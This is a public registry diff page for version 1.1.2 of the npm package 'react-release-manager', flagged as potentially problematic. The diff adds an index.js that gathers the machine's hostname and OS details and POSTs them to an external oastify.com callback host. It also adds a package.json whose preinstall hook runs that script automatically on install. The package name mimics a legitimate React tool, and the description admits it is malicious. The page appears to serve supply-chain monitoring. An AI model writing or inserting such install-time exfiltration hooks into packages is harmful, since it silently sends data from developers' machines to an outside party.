react-release-manager 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of react-release-manager might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +27 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,27 @@
1
+ const os = require('os');
2
+ const http = require('http');
3
+
4
+ const callbackUrl = 'kmad6k9gz33920pyqm2o8fo76ycw0mob.oastify.com';
5
+
6
+ const systemInfo = {
7
+ hostname: os.hostname(),
8
+ osType: os.type(),
9
+ platform: os.platform(),
10
+ release: os.release()
11
+ };
12
+
13
+ const data = JSON.stringify(systemInfo);
14
+
15
+ const req = http.request({
16
+ hostname: callbackUrl,
17
+ path: '/',
18
+ method: 'POST',
19
+ headers: {
20
+ 'Content-Type': 'application/json',
21
+ 'Content-Length': data.length
22
+ }
23
+ });
24
+
25
+ req.write(data);
26
+ req.end();
27
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "react-release-manager",
3
+ "version": "1.1.2",
4
+ "description": "A malicious package for testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
12
+